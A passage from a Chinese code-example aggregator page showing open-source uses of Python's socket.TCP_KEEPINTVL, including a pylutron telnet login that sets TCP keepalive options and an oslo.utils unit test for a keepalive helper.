开发者ID:StorjOld,项目名称:pyp2p,代码行数:32,代码来源:sock.py


示例26: _do_login_locked

# 需要导入模块: import socket [as 别名]
# 或者: from socket import TCP_KEEPINTVL [as 别名]
def _do_login_locked(self):
    """Executes the login procedure (telnet) as well as setting up some
    connection defaults like turning off the prompt, etc."""
    self._telnet = telnetlib.Telnet(self._host, timeout=2)  # 2 second timeout
    # Ensure we know that connection goes away somewhat quickly
    try:
      sock = self._telnet.get_socket()
      sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
      # Some operating systems may not include TCP_KEEPIDLE (macOS, variants of Windows)
      if hasattr(socket, 'TCP_KEEPIDLE'):
        # Send keepalive probes after 60 seconds of inactivity
        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 60)
      # Wait 10 seconds for an ACK
      sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 10)
      # Send 3 probes before we give up
      sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 3)
    except OSError:
      _LOGGER.exception('error configuring socket')
    self._telnet.read_until(LutronConnection.USER_PROMPT, timeout=3)
    self._telnet.write(self._user + b'\r\n')
    self._telnet.read_until(LutronConnection.PW_PROMPT, timeout=3)
    self._telnet.write(self._password + b'\r\n')
    self._telnet.read_until(LutronConnection.PROMPT, timeout=3)
    self._send_locked("#MONITORING,12,2")
    self._send_locked("#MONITORING,255,2")
    self._send_locked("#MONITORING,3,1")
    self._send_locked("#MONITORING,4,1")
    self._send_locked("#MONITORING,5,1")
    self._send_locked("#MONITORING,6,1")
    self._send_locked("#MONITORING,8,1") 
开发者ID:thecynic,项目名称:pylutron,代码行数:35,代码来源:__init__.py


示例27: test_set_tcp_keepalive

# 需要导入模块: import socket [as 别名]
# 或者: from socket import TCP_KEEPINTVL [as 别名]
def test_set_tcp_keepalive(self):
        mock_sock = mock.Mock()
        netutils.set_tcp_keepalive(mock_sock, True, 100, 10, 5)
        calls = [
            mock.call.setsockopt(socket.SOL_SOCKET,
                                 socket.SO_KEEPALIVE, True),
        ]
        if hasattr(socket, 'TCP_KEEPIDLE'):
            calls += [
                mock.call.setsockopt(socket.IPPROTO_TCP,
                                     socket.TCP_KEEPIDLE, 100)
            ]
        if hasattr(socket, 'TCP_KEEPINTVL'):
            calls += [
                mock.call.setsockopt(socket.IPPROTO_TCP,
                                     socket.TCP_KEEPINTVL, 10),
            ]
        if hasattr(socket, 'TCP_KEEPCNT'):
            calls += [
                mock.call.setsockopt(socket.IPPROTO_TCP,
                                     socket.TCP_KEEPCNT, 5)
            ]
        mock_sock.assert_has_calls(calls)
        mock_sock.reset_mock()
        netutils.set_tcp_keepalive(mock_sock, False)
        self.assertEqual(1, len(mock_sock.mock_calls)) 
开发者ID:openstack,项目名称:oslo.utils,代码行数:29,代码来源:test_netutils.py



注:本文中的socket.TCP_KEEPINTVL属性示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。